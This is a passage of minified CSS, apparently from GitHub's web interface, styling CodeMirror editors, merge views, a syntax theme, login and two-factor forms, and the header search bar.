div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions 